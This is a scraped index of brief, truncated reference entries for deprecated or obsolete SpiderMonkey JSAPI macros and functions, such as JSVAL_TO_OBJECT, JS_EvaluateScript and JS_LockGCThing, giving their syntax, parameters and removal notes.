try to avoid using it. determines if a given jsval is a string. syntax jsval_is_string(v) description jsval_is_string(v) is true if v is a string. to access the content of a string jsval, use jsval_to_string, js_getstringchars, and js_getstringlength. ...
JSVAL_IS_VOID
try to avoid using it. determines if a given jsval is the javascript value undefined. syntax jsval_is_void(v) description jsval_is_void(v) is true if v is jsval_void, which represents the javascript value undefined. ...
JSVAL_LOCK
try to avoid using it. locks a js value to prevent garbage collection on it. syntax jsval_lock(cx,v) description jsval_lock is a deprecated feature that is supported only for backward compatibility with existing applications. to lock a value, use local roots with js_addroot. jsval_lock locks a js value, v, to prevent the value from being garbage collected. v is a js object, string, or double value. jsval_lock determines if v is an object, string, or double value, and if it is, it locks the value. ...
JSVAL_NULL
try to avoid using it. the jsval that represents the javascript value null. syntax jsval_null description jsval_null is a jsval constant that represents the javascript value null. it is equivalent to object_to_jsval(null). ...
JSVAL_ONE
try to avoid using it. the jsval that represents the javascript number 1. syntax jsval_one description jsval_one is equivalent to int_to_jsval(1). ...
JSVAL_TO_BOOLEAN
try to avoid using it. cast a boolean javascript value to a c integer, either 0 or 1, without any type checking or error handling. syntax jsbool jsval_to_boolean(jsval v); description jsval_to_boolean casts the value v to a c integer, either 0 or 1. as a precondition, jsval_is_boolean(v) must be true. that is, v must be either jsval_true or jsval_false. otherwise the behavior is undefined. the result is js_true or js_false respectively. ...
JSVAL_TO_DOUBLE
try to avoid using it. casts a given jsval to a jsdouble without any type checking or error handling. syntax jsdouble jsval_to_double(jsval v); description jsval_to_double casts a specified js value, v, to a c floating-point number of type jsdouble. as a precondition, jsval_is_double(v) must be true. this function is not type-safe: if v is an integer, string, null, or anything else, the behavior is undefined. ...
JSVAL_TO_GCTHING
try to avoid using it. cast a jsval to a raw pointer of type void *. syntax jsval_to_gcthing(v) description jsval_to_gcthing casts a jsval, v, to a raw pointer. the type of the result is void *. v must be either jsval_null or a reference to a gc thing. otherwise the resulting pointer is undefined. jsval_is_gcthing may be used to check this. this macro is exposed in jsapi.h because other jsapi macros make use of it. applications should not call it directly in most cases. ...
JSVAL_TO_INT
try to avoid using it. converts an integer jsval to a c integer without any type checking or error handling. syntax jsval_to_int(v) description jsval_to_int converts a specified integer jsval, v, to the corresponding c integer value. if v is any other type of value, the result is unspecified. note that although jsval is an integer type, it must be treated as opaque. the jsval encoding of the integer 4, for instance, is not ((jsval) 4) but some other pattern of bits. ...
JSVAL_TO_OBJECT
try to avoid using it. cast a jsval to a jsobject * without a type check. syntax jsobject * jsval_to_object(jsval v); description jsval_to_object casts the argument, v, to type jsobject *. as a precondition, jsval_is_object(v) must be true. that is, v must be either a reference to an object or jsval_null. this function is not type-safe: if v is not an object or jsval_null, the behavior is undefined. ...
JSVAL_TO_STRING
try to avoid using it. cast a jsval to type jsstring * without a type check. syntax jsstring * jsval_to_string(jsval v); description jsval_to_string casts the argument, v, to type jsstring *. as a precondition, jsval_is_string(v) must be true. this function is not type-safe: if v is not a string, the behavior is undefined. to coerce any value to a string, use the js_valuetostring function instead. ...
JSVAL_TRUE
try to avoid using it. jsval constants that represent the javascript values true and false. syntax jsval_true jsval_false description jsval_true and jsval_false are jsval constants that represent the javascript boolean values, true and false. they are equivalent to boolean_to_jsval(true) and boolean_to_jsval(false), respectively. take care not to confuse the jsval constants jsval_true and jsval_false with the bool constants true and false. ...
JSVAL_UNLOCK
try to avoid using it. unlocks a js value, enabling garbage collection on it. syntax jsval_unlock(cx,v) description jsval_unlock is a deprecated feature that is supported only for backward compatibility with existing applications. to unlock a value, use local roots with js_removeroot. jsval_unlock unlocks a previously locked js value, v, so it can be garbage collected. v is a js object, string, or double value. jsval_unlock determines if v is an object, string, or double value, and if it is, it unlocks the value. ...
JSVAL_VOID
try to avoid using it. the jsval that represents the javascript value undefined. syntax jsval_void description jsval_void is a jsval constant that represents the javascript value undefined. ...
JSVAL_ZERO
try to avoid using it. the jsval that represents the javascript number 0. syntax jsval_zero description jsval_zero is equivalent to int_to_jsval(0). ...
JSXDRObjectOp
try to avoid using it. jsxdrobjectop is the type for jsclass.xdrobject. syntax typedef jsbool (* jsxdrobjectop)(jsxdrstate *xdr, jsobject **objp); name type description xdr jsxdrstate * the xdr reader or writer. objp jsobject ** the object to be serialized or deserialized. description serialize or deserialize an object, given an xdr state record representing external data. see jsxdrapi.h. ...
JS_AddArgumentFormatter
try to avoid using it. add or remove a format string handler for js_convertarguments, js_pusharguments, js_convertargumentsva, and js_pushargumentsva. syntax jsbool js_addargumentformatter(jscontext *cx, const char *format, jsargumentformatter formatter); void js_removeargumentformatter(jscontext *cx, const char *format); name type description cx jscontext * the context in which to install the formatter. ...
JS_AddExternalStringFinalizer
try to avoid using it. register a custom string memory manager. syntax int js_addexternalstringfinalizer(jsstringfinalizeop finalizer); name type description finalizer jsstringfinalizeop pointer to a callback function, described below. the js engine will automatically call this function each time a string created by js_newexternalstring is garbage-collected. ...
JS_Add*Root
try to avoid using it. register a variable as a member of the garbage collector's root set, to protect anything the root points at from garbage collection. these functions are obsoleted, use js::persistentrooted instead. ...
JS_AliasElement
try to avoid using it. create an aliased index entry for an existing numeric property of a native object. syntax jsbool js_aliaselement(jscontext *cx, jsobject *obj, const char *name, jsint alias); name type description cx jscontext * the context in which to create the alias. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * the object for which to create the alias. ...
JS_AliasProperty
try to avoid using it. create an alias for a native property. syntax jsbool js_aliasproperty(jscontext *cx, jsobject *obj, const char *name, const char *alias); name type description cx jscontext * pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * object for which to create the alias. name const char * name of the property for which to create an alias. ...
JS_CStringsAreUTF8
try to avoid using it. these functions have been removed in spidermonkey 19. api users should switch to functions which take utf-8 explicitly or handle their own string encoding and decoding. option to have the jsapi treat char strings as utf-8. syntax jsbool js_cstringsareutf8(void); void js_setcstringsareutf8(void); // added in spidermonkey 1.8 description by default, all c/c++ strings passed into the jsapi are treated as iso/iec 8859-1, also known as iso-latin-1. ...
JS_CheckAccess
try to avoid using it. check whether a running script may access a given object property. syntax jsbool js_checkaccess(jscontext *cx, jsobject *obj, jsid id, jsaccessmode mode, jsval *vp, unsigned int *attrsp); name type description cx jscontext * the context in which to perform the access check. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * the object that has the property being accessed. ...
JS_ClearContextThread
try to avoid using it. transfer a jscontext from one thread to another. syntax jsword js_clearcontextthread(jscontext *cx); jsword js_setcontextthread(jscontext *cx); name type description cx jscontext * the context to transfer from one thread to another. there must not be any active or suspended requests using this context. ...
JS_ClearNewbornRoots
try to avoid using it. clear a context's newborn roots, which temporarily protect newly allocated values from garbage collection. syntax void js_clearnewbornroots(jscontext *cx); name type description cx jscontext * the context to clear. description the last gc thing of each type (object, string, double, external string types) created on a given context is kept alive until another thing of the same type is created, using a newborn root in the context. ...
JS_ClearNonGlobalObject
try to avoid using it. this article covers features introduced in spidermonkey 24 remove all properties associated with an object. syntax void js_clearnonglobalobject(jscontext *cx, jsobject *obj); name type description cx jscontext * the context in which to clear the object. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * object from which to delete all properties. ...
JS_ClearScope
try to avoid using it. remove all properties associated with an object. syntax void js_clearscope(jscontext *cx, jsobject *obj); name type description cx jscontext * the context in which to clear the object. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * object from which to delete all properties. description js_clearscope removes all of obj's own properties, except the special __proto__ and __parent__ properties, in a single operation. ...
JS_CloneFunctionObject
try to avoid using it. create a new function object from an existing jsfunction. syntax jsobject * js_clonefunctionobject(jscontext *cx, jsobject *funobj, jsobject *parent); name type description cx jscontext * pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. funobj jsobject * the function to clone. parent jsobject * the new function's parent. ...
JS_CompileFunction
try to avoid using it. creates a javascript function from a text string. ...
JS_CompileFunctionForPrincipals
try to avoid using it. create a security-enabled js function from a text string. ...
JS_CompileScriptForPrincipals
try to avoid using it. compile a security-enabled script for execution. ...
JS_CompileUTF8File
try to avoid using it. compile a script, reading the source code from a file. syntax jsobject * js_compileutf8file(jscontext *cx, jsobject *obj, const char *filename); name type description cx jscontext * the context in which to compile the script. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * object with which the script is associated. filename const char * name of file containing the script to compile. ...
JS_CompileUTF8FileHandle
try to avoid using it. compile a script, reading the source code from a stdio file. syntax jsobject * js_compileutf8filehandle(jscontext *cx, jsobject *obj, const char *filename, file *file); jsobject * js_compileutf8filehandleforprincipals( jscontext *cx, jsobject *obj, const char *filename, file *file, jsprincipals *principals); name type description cx jscontext * the context in which to compile the script. requires request. ...
JS_ConstructObject
try to avoid using it. as of spidermonkey 1.8.8, js_constructobject and js_constructobjectwitharguments have been removed from the jsapi. the preferred alternative is to save a copy of the constructor function for the class, then to call it using js_new. a less-preferred short-term solution might be to use this reimplementation of the method, but note that this reimplementation is not guaranteed to continue working across spidermonkey releases. ...
JS_ContextIterator
try to avoid using it. cycles through the js contexts associated with a particular jsruntime. syntax jscontext * js_contextiterator(jsruntime *rt, jscontext **iterp); name type description rt jsruntime * the runtime to walk. iterp jscontext * in-out parameter. on input, *iterp must be null or point to a context in rt. on success, the value of *iterp is modified so that repeated calls cycle through all the contexts in rt. ...
JS_ConvertArguments
try to avoid using it. converts a series of js values, passed in an argument array, to their corresponding js types. syntax bool js_convertarguments(jscontext *cx, const js::callargs &args, const char *format, ...); // added in spidermonkey 31 bool js_convertarguments(jscontext *cx, unsigned argc, jsval *argv, const char *format, ...); // obsolete since jsapi 30 name type description cx jscontext * the context in which to perform any necessary conversions. ...
JS_ConvertArgumentsVA
try to avoid using it. converts a series of js values, passed in a va_list, to their corresponding jsapi types. syntax bool js_convertargumentsva(jscontext *cx, const js::callargs &args, const char *format, va_list ap); bool js_convertargumentsva(jscontext *cx, unsigned argc, jsval *argv, const char *format, va_list ap); name type description cx jscontext * pointer to a js context from which to derive runtime information. requires request. ...
JS_ConvertValue
try to avoid using it. converts a javascript value to a value of a specific javascript type. syntax bool js_convertvalue(jscontext *cx, js::handlevalue v, jstype type, js::mutablehandlevalue vp); name type description cx jscontext * the context in which to perform the conversion. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. v js::handlevalue the value to convert. type jstype the type to which the value is to be converted. ...
JS_DefaultValue
try to avoid using it. this article covers features introduced in spidermonkey 1.8.6 converts a javascript object to a primitive value, using the semantics of that object's internal [[defaultvalue]] hook. renamed to js::toprimitive from jsapi 44. syntax bool js_defaultvalue(jscontext *cx, js::handle<jsobject*> obj, jstype hint, js::mutablehandle<js::value> vp); name type description cx jscontext * the context in which to perform the conversion. requires request. ...
JS_DefineOwnProperty
try to avoid using it. this article covers features introduced in spidermonkey 1.8.5 please provide a description for this function. syntax bool js_defineownproperty(jscontext *cx, js::handleobject obj, js::handleid id, js::handlevalue descriptor, bool *bp); name type description cx jscontext * the context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject object on which the property should be defined own. ...
JS_DefinePropertyWithTinyId
try to avoid using it. create a new object property with a tiny id. ...
JS_DeleteElement2
try to avoid using it. removes a specified element or numeric property from an object. renamed to js_deleteelement in jsapi 39 syntax bool js_deleteelement2(jscontext *cx, js::handleobject obj, uint32_t index, bool *succeeded); name type description cx jscontext * pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ...
JS_DeleteProperty2
try to avoid using it. removes a specified property from an object. renamed to js_deleteproperty from jsapi 39. ...
JS_DoubleToInt32
try to avoid using it. this article covers features introduced in spidermonkey 17 convert a c floating-point number of type double to 32-bit integer per ecma spec. syntax int32_t js_doubletoint32(double d); uint32_t js_doubletouint32(double d); name type description d double the numeric value to convert. ...
JS_DumpHeap
try to avoid using it. this article covers features introduced in spidermonkey 1.8 debug only. dump the object graph of heap-allocated things. syntax bool js_dumpheap(jsruntime *rt, file *fp, void* startthing, jsgctracekind kind, void *thingtofind, size_t maxdepth, void *thingtoignore); name type description cx jscontext * pointer to a js context. every jscontext is permanently associated with a jsruntime; each jsruntime contains a gc heap. fp file * file for the dump output. ...
JS_DumpNamedRoots
try to avoid using it. enumerate all the named roots in a runtime. syntax void js_dumpnamedroots(jsruntime *rt, void (*dump)(const char *name, void *rp, void *data), void *data); name type description rt jsruntime * pointer to a jsruntime from which to dump named roots. dump void (*)(const char *, void *, void *) pointer to function that actually dumps the named roots. this may not be null. data void * a pointer that is passed to dump each time it is called. ...
JS_EncodeCharacters
try to avoid using it. convert a 16-bit string to an 8-bit string. syntax jsbool js_encodecharacters(jscontext *cx, const jschar *src, size_t srclen, char *dst, size_t *dstlen); name type description cx jscontext * a context. src const jschar * the pointer to 16-bit values of jsstring. this can be obtained with js_getstringchars. srclen size_t the length of the source string, in 16-bit values. ...
JS_EnterCrossCompartmentCall
try to avoid using it. this article covers features introduced in spidermonkey 1.8.1 js_entercrosscompartmentcall has been removed in bug 786068. use js_entercompartment instead. enter a different compartment on the given context, so that objects in that compartment can be accessed. syntax jscrosscompartmentcall * js_entercrosscompartmentcall(jscontext *cx, jsobject *target); name type description cx jscontext * the context on which a cross-compartment call is needed. ...
JS_EnterLocalRootScope
try to avoid using it. enter a local root scope. syntax jsbool js_enterlocalrootscope(jscontext *cx); name type description cx jscontext * pointer to the context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. description scoped local root management allows native functions, getter/setters, etc. to avoid calling js_addroot and js_removeroot to manage global roots temporarily. ...
JS_EnumerateResolvedStandardClasses
try to avoid using it. enumerate any already-resolved standard class ids. syntax jsidarray * js_enumerateresolvedstandardclasses(jscontext *cx, jsobject *obj, jsidarray *ida); name type description description js_enumerateresolvedstandardclasses enumerates any already-resolved standard class ids into ida, or into a new jsidarray if ida is null. ...
JS_EvaluateScript
try to avoid using it. compile and execute a script. syntax jsbool js_evaluatescript(jscontext *cx, jsobject *obj, const char *src, unsigned int length, const char *filename, unsigned int lineno, jsval *rval); jsbool js_evaluateucscript(jscontext *cx, jsobject *obj, const jschar *src, unsigned int length, const char *filename, unsigned int lineno, jsval *rval); name type description cx jscontext * the context in which to run the script. requires request. ...
JS_EvaluateScriptForPrincipals
try to avoid using it. compile and execute a security-enabled script. ...
JS_ExecuteScriptPart
try to avoid using it. js_executescriptpart has been removed in bug 555104. use js_executescript instead. executes a part of a compiled script. syntax typedef enum jsexecpart { jsexec_prolog, jsexec_main } jsexecpart; jsbool js_executescriptpart( jscontext *cx, jsobject *obj, jsscript *script, jsexecpart part, jsval *rval); name type description cx jscontext * the context in which to execute the script. requires request. ...
JS_ExecuteScriptVersion
try to avoid using it. this article covers features introduced in spidermonkey 1.8.5 execute a compiled script with specified version. syntax jsbool js_executescriptversion(jscontext *cx, jsobject *obj, jsobject *scriptobj, jsval *rval, jsversion version); name type description cx jscontext * the context in which to execute the script. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ...
JS_Finish
try to avoid using it. same function as js_destroyruntime. syntax void js_finish(jsruntime *rt); name type description rt jsruntime * pointer to a js runtime to destroy. ...
JS_FlushCaches
try to avoid using it. this article covers features introduced in spidermonkey 1.8.5 flushes the code cache for the current thread. the operation might be delayed if the cache cannot be flushed currently because native code is currently executing. syntax void js_flushcaches(jscontext *cx); name type description cx jscontext * the context. requires request. ...
JS_ForgetLocalRoot
try to avoid using it. remove a value from the innermost current local root scope. syntax void js_forgetlocalroot(jscontext *cx, void *thing); name type description cx jscontext * pointer to the context in which the caller is running. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. thing void * pointer to the value to be unrooted. this must point to a jsobject, jsstring, jsfunction, or jsdouble. it must not be null. ...
JS_GET_CLASS
try to avoid using it. retrieves the class associated with an object. this macro was removed in spidermonkey 1.8.8 when the signature of js_getclass() was changed to take only an object pointer. syntax #ifdef js_threadsafe #define js_get_class(cx,obj) js_getclass(cx, obj) #else #define js_get_class(cx,obj) js_getclass(obj) #endif parameter type description cx jscontext * any context associated with the runtime in which obj exists. obj jsobject * object to get the class from. ...
JS_GetContextThread
try to avoid using it. returns the id of the associated thread for a context. syntax int js_getcontextthread(jscontext *cx); name type description cx jscontext * the context to examine. description js_getcontextthread returns the id of the thread currently associated with this context. if the context is not currently associated with any thread, the return value is 0. see js_setcontextthread. ...
JS_GetExternalStringClosure
try to avoid using it. this article covers features introduced in spidermonkey 6 returns the string closure stored in a jsstring created by calling js_newexternalstringwithclosure. syntax void * js_getexternalstringclosure(jscontext *cx, jsstring *str); name type description cx jscontext * the context from which to retrieve the closure for a string. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ...
JS_GetFlatStringChars
try to avoid using it. this article covers features introduced in spidermonkey 1.8.5 get the chars of a flat string. use js_flattenstring to flatten the string. syntax const jschar * js_getflatstringchars(jsflatstring *str); name type description str jsflatstring * the flattended string returned by js_flattenstring. ...
JS_GetFunctionCallback
try to avoid using it. returns the callback currently configured to be called when javascript functions are invoked or exited, as established by a prior call to js_setfunctioncallback. note: this method is only available if moz_trace_jscalls was defined at compile time using --enable-trace-jscalls. syntax jsfunctioncallback js_getfunctioncallback(jscontext *cx); name type description cx jscontext * pointer to a js context from which to derive runtime information. requires request. ...
JS_GetFunctionFlags
try to avoid using it. retrieve the function flags of a given javascript function. syntax unsigned int js_getfunctionflags(jsfunction *fun); name type description fun jsfunction * the function to examine. description js_getfunctionflags retrieves the function flags of a given javascript function, fun. these flags are for the javascript engine’s internal use. most applications can’t do anything useful with them. ...
JS_GetGlobalForScopeChain
try to avoid using it. this article covers features introduced in spidermonkey 1.8.5 returns the global object for the active function on the context. renamed to js::currentglobalornull. syntax jsobject * js_getglobalforscopechain(jscontext *cx); name type description cx jscontext * the context for which to return the global object. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ...
JS_GetInternedStringChars
try to avoid using it. this article covers features introduced in spidermonkey 1.8.5 get the chars of an interned string. syntax const jschar * js_getinternedstringchars(jsstring *str); const jschar * js_getinternedstringcharsandlength(jsstring *str, size_t *length); name type description str jsstring * the interned string. length size_t * out parameter. receives the length of the string. description js_getinternedstringchars returns a pointer to the interned string. ...
JS_GetOptions
try to avoid using it. get the currently enabled jscontext options. syntax uint32 js_getoptions(jscontext *cx); name type description cx jscontext * the context from which to read options. description js_getoptions retrieves the option flags of a given js context cx. this function returns a uint32 value that is the logical or of zero or more of the jsoption flags described in js_setoptions. ...
JS_GetParent
try to avoid using it. get the parent object of a given object. syntax jsobject * js_getparent(jsobject *obj); name type description obj jsobject * object for which to retrieve the parent. description js_getparent retrieves the parent object of obj, or null if obj does not have a parent. warning: the result may be an internal-use-only object. such an object should not be passed to any other jsapi function that could expose it to script code. ...
JS_GetPropertyAttributes
try to avoid using it. get the attributes of a specified property. syntax jsbool js_getpropertyattributes(jscontext *cx, jsobject *obj, const char *name, unsigned int *attrsp, jsbool *foundp); jsbool js_getucpropertyattributes(jscontext *cx, jsobject *obj, const jschar *name, size_t namelen, unsigned int *attrsp, jsbool *foundp); name type description cx jscontext * the context in which to look up property attributes. requires request. ...
JS_GetPropertyAttrsGetterAndSetter
try to avoid using it. retrieve the attributes, getter, and setter of a specified property. ...
JS_GetPropertyDefault
try to avoid using it. this article covers features introduced in spidermonkey 1.8.5 finds a specified property and retrieves its value or provided default value. ...
JS_GetScopeChain
try to avoid using it. retrieves the scope chain for the javascript code currently running in a given context. js_getscopechain has been removed in spidermonkey 1.8.7 with no identical replacement. when you only used this function to retrieve the scope chain's global, then you can use the function js_getglobalforscopechain. syntax jsobject * js_getscopechain(jscontext *cx); name type description cx jscontext * the context to query. ...
JS_GetStringBytes
try to avoid using it. convert a javascript string to a c string. syntax char * js_getstringbytes(jsstring *str); const char * js_getstringbytesz(jscontext *cx, jsstring *str); // added in jsapi 1.8.2 name type description cx jscontext * (js_getstringbytesz and js_encodestring only) a context. str jsstring * string to retrieve bytes from. description js_getstringbytes and js_getstringbytesz convert the specified javascript string, str, to a c string (an array of 8-bit chars). ...
JS_GetStringChars
try to avoid using it. retrieve a pointer to the 16-bit values that make up a given string. syntax jschar * js_getstringchars(jsstring *str); // obsolete since jsapi 1.8.5 const jschar * js_getstringcharsz(jscontext *cx, jsstring *str); // added in spidermonkey 1.8.2, obsolete since jsapi 33 name type description cx jscontext * (in js_getstringcharsz only) a context. str jsstring * the string to obtain characters from. ...
JS_GetStringCharsAndLength
try to avoid using it. this article covers features introduced in spidermonkey 1.8.5 get the characters and the length of a string. syntax const jschar * js_getstringcharsandlength(jscontext *cx, jsstring *str, size_t *length); name type description cx jscontext * the context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. str jsstring * a string to get characters. length size_t * out parameter. receives the length of the string. ...
JS_GetTypeName
try to avoid using it. returns a pointer to the string literal description of a specified js data type. syntax const char * js_gettypename(jscontext *cx, jstype type); name type description cx jscontext * pointer to a js context from which to derive runtime information. type jstype one of jstype_void, jstype_object, jstype_function, jstype_string, jstype_number, or jstype_boolean. description js_gettypename returns a pointer to a string literal description of a specified js data type, type. ...
JS_HasArrayLength
try to avoid using it. determines if an object has an array length property. syntax jsbool js_hasarraylength(jscontext *cx, jsobject *obj, jsuint *lengthp); name type description cx jscontext * pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * array object to get the length of. lengthp jsuint * out parameter. ...
JS_IsAssigning
try to avoid using it. determine whether script is executing assignment operation. ...
JS_IsConstructing
try to avoid using it. determine whether the currently executing jsnative was called as a constructor. js_isconstructing has been removed in bug 918462. use callargs::isconstructing or callreceiver::isconstructing instead. syntax jsbool js_isconstructing(jscontext *cx, jsval *vp); name type description cx jscontext * the cx parameter passed to the jsnative. vp jsval * the vp parameter passed to the jsnative. ...
JS_IsConstructing_PossiblyWithGivenThisObject
try to avoid using it. this article covers features introduced in spidermonkey 1.8.5 determine if a special this object was supplied to the constructor. syntax static jsbool js_isconstructing_possiblywithgiventhisobject(jscontext *cx, const jsval *vp, jsobject **maybethis); name type description cx jscontext * the context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ...
JS_IsStopIteration
on exception or not. ...
JS_LeaveCrossCompartmentCall
try to avoid using it. this article covers features introduced in spidermonkey 1.8.1 js_leavecrosscompartmentcall has been removed in bug 786068. use js_leavecompartment instead. leave a the compartment, returning to the compartment active before the corresponding js_entercrosscompartmentcall. syntax void js_leavecrosscompartmentcall(jscrosscompartmentcall *call); name type description call jscrosscompartmentcall * value returned by previous call to js_entercrosscompartmentcall. ...
JS_LeaveLocalRootScope
try to avoid using it. leave a local root scope. syntax void js_leavelocalrootscope(jscontext *cx); name type description cx jscontext * pointer to the context. this must be the same context passed to js_enterlocalrootscope(). requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. description see js_enterlocalrootscope for an explanation of local root scopes. ...
JS_LeaveLocalRootScopeWithResult
try to avoid using it. leave a local root scope, transferring the result value to the next enclosing root scope. syntax void js_leavelocalrootscopewithresult(jscontext *cx, jsval rval); name type description cx jscontext * pointer to the context. this must be the same context that was passed to js_enterlocalrootscope. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ...
JS_Lock
try to avoid using it. lock the js run-time environment. syntax void js_lock(jsruntime *rt); name type description rt jsruntime * pointer to the runtime to lock. description js_lock is a deprecated api; don't use it. ...
JS_LockGCThing
try to avoid using it. protect a specified js item from garbage collection. syntax jsbool js_lockgcthing(jscontext *cx, void *thing); // obsolete since jsapi 21 jsbool js_unlockgcthing(jscontext *cx, void *thing); // obsolete since jsapi 21 jsbool js_lockgcthingrt(jsruntime *rt, void *thing); jsbool js_unlockgcthingrt(jsruntime *rt, void *thing); name type description cx jscontext * a context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ...
JS_LookupElement
try to avoid using it. determine if a specified numeric property exists. syntax bool js_lookupelement(jscontext *cx, js::handleobject obj, uint32_t index, js::mutablehandlevalue vp); name type description cx jscontext * the context in which to look up the property. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject the object to search. index uint32_t the numeric id of the property to look up. ...
JS_LookupProperty
try to avoid using it. determine if a specified property exists. ...
JS_MakeStringImmutable
try to avoid using it. make a jsstring thread-safe. syntax jsbool js_makestringimmutable(jscontext *cx, jsstring *str); name type description cx jscontext * a context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. s jsstring * the string to operate on. s must not be null. ...
JS_MapGCRoots
try to avoid using it. perform some action for each object in a jsruntime's gc root set. ...
JS_NewCompartmentAndGlobalObject
try to avoid using it. this article covers features introduced in spidermonkey 1.8.1 js_newcompartmentandglobalobject has been removed in bug 755186. use js_newglobalobject instead. create a new global object in a new compartment. syntax jsobject * js_newcompartmentandglobalobject(jscontext *cx, jsclass *clasp, jsprincipals *principals); name type description cx jscontext * the context in which to create the new global object. requires request. ...
JS_NewDouble
try to avoid using it. use js_newnumbervalue instead. allocates a copy of jsdouble on the gc heap. syntax jsdouble * js_newdouble(jscontext *cx, jsdouble d); name type description cx jscontext * the context in which to create the new number. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. d jsdouble the number to copy. description js_newdouble allocates a copy of the number d on the javascript garbage collection heap. this function is not very useful. ...
JS_NewDoubleValue
try to avoid using it. use js_numbervalue instead. create a floating-point jsval syntax jsbool js_newdoublevalue(jscontext *cx, jsdouble d, jsval *rval); name type description cx jscontext * the context in which to create the new number. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. d jsdouble the numeric value to convert. this must not be a value that could fit in an integer jsval (see int_fits_in_jsval). ...
JS_NewPropertyIterator
try to avoid using it. crate an iterator object for use with js_nextproperty. syntax jsobject * js_newpropertyiterator(jscontext *cx, js::handle<jsobject*> obj); name type description cx jscontext * the js context in which to enumerate properties. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handle&lt;jsobject*&gt; the object whose properties are to be enumerated. ...
JS_NewScriptObject
try to avoid using it. return the javascript script object that wraps a compiled script. the compiled script and its parts live until the script object is garbage collected. syntax jsobject * js_newscriptobject(jscontext *cx, jsscript *script); name type description cx jscontext * the context in which to create the new script object. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ...
JS_NextProperty
try to avoid using it. get the next property id from an iterator object produced by js_newpropertyiterator. syntax bool js_nextproperty(jscontext *cx, js::handleobject iterobj, js::mutablehandleid idp); name type description cx jscontext * the js context in which to enumerate properties. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. iterobj js::handleobject the opaque iterator object returned by a previous call to js_newpropertyiterator. ...
JS_ObjectIsDate
pointer to a javascript context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * jsobject that should be checked. description js_objectisdate() can be used to check if you are dealing with a date object, or a date object used across compartments (or windows or sites, in the browser embedding). this function returns true if the object is a date. see also mxr id search for js_objectisdate js_newdateobject js_newdateobjectmsec bug 625870 ...
JS_PopArguments
try to avoid using it. frees the stack entry allocated by js_pusharguments. syntax void js_poparguments(jscontext *cx, void *mark); name type description cx jscontext * pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. mark void * pointer to a void * which holds the stack frame pointer previously supplied by js_pusharguments. ...
JS_PushArguments
try to avoid using it. convert any number of arguments to jsvals and store the resulting jsvals in an array. syntax jsval * js_pusharguments(jscontext *cx, void **markp, const char *format, ...); jsval * js_pushargumentsva(jscontext *cx, void **markp, const char *format, va_list ap); name type description cx jscontext * the context in which to perform any necessary conversions. cx also affects the interpretation of format, if js_addargumentformatter has been called. requires request. ...
JS_RemoveExternalStringFinalizer
try to avoid using it. unregister a custom string memory manager. syntax int js_removeexternalstringfinalizer(jsstringfinalizeop finalizer); name type description finalizer jsstringfinalizeop the finalizer to remove. description remove finalizer from the global gc finalizers table, returning its type code if found, -1 if not found. ...
JS_Remove*Root
try to avoid using it. unregisters a pointer to a gc thing so that it is no longer a member of the garbage collector's root set. this enables any pointed-at gc thing to be garbage collected as needed. syntax jsbool js_removevalueroot(jscontext *cx, jsval *vp); jsbool js_removestringroot(jscontext *cx, jsstring **spp); jsbool js_removeobjectroot(jscontext *cx, jsobject **opp); jsbool js_removegcthingroot(jscontext *cx, void **rp); name type description cx jscontext * a context. requires request. ...
JS_SealObject
try to avoid using it. as of spidermonkey 1.8.5, js_sealobject has been removed from the jsapi, because ecmascript 5 includes a "seal" concept (namely, that of object.seal) which is quite different from that of js_sealobject. moreover, js_sealobject's exact semantics are subtly incompatible with ecmascript. js_freezeobject and js_deepfreezeobject are near-substitutes compatible with ecmascript semantics, implementing semantics compatible with those of object.freeze. prevent modification of object fields. ...
JS_SetBranchCallback
try to avoid using it. specifies a callback function that is automatically called when a script branches backward during execution, when a function returns, and at the end of the script. replaced with js_setoperationcallback. syntax jsbranchcallback js_setbranchcallback(jscontext *cx, jsbranchcallback cb); name type description cx jscontext * the context to hook. cb jsbranchcallback pointer to the callback function. ...
JS_SetCallReturnValue2
try to avoid using it. causes a native to return a reference value (as allowed by ecma 262-3 §11.2.3). syntax void js_setcallreturnvalue2(jscontext *cx, jsval v); name type description cx jscontext * the context in which the native function is running. ...
JS_SetErrorReporter
try to avoid using it. get or specify the error reporting mechanism for an application. syntax jserrorreporter js_geterrorreporter(jsruntime *rt); jserrorreporter js_seterrorreporter(jsruntime *rt, jserrorreporter er); name type description cx jsruntime * pointer to a js runtime whose errors should be reported via your function. er jserrorreporter the user-defined error reporting function to use in your application, described below. ...
JS_SetFunctionCallback
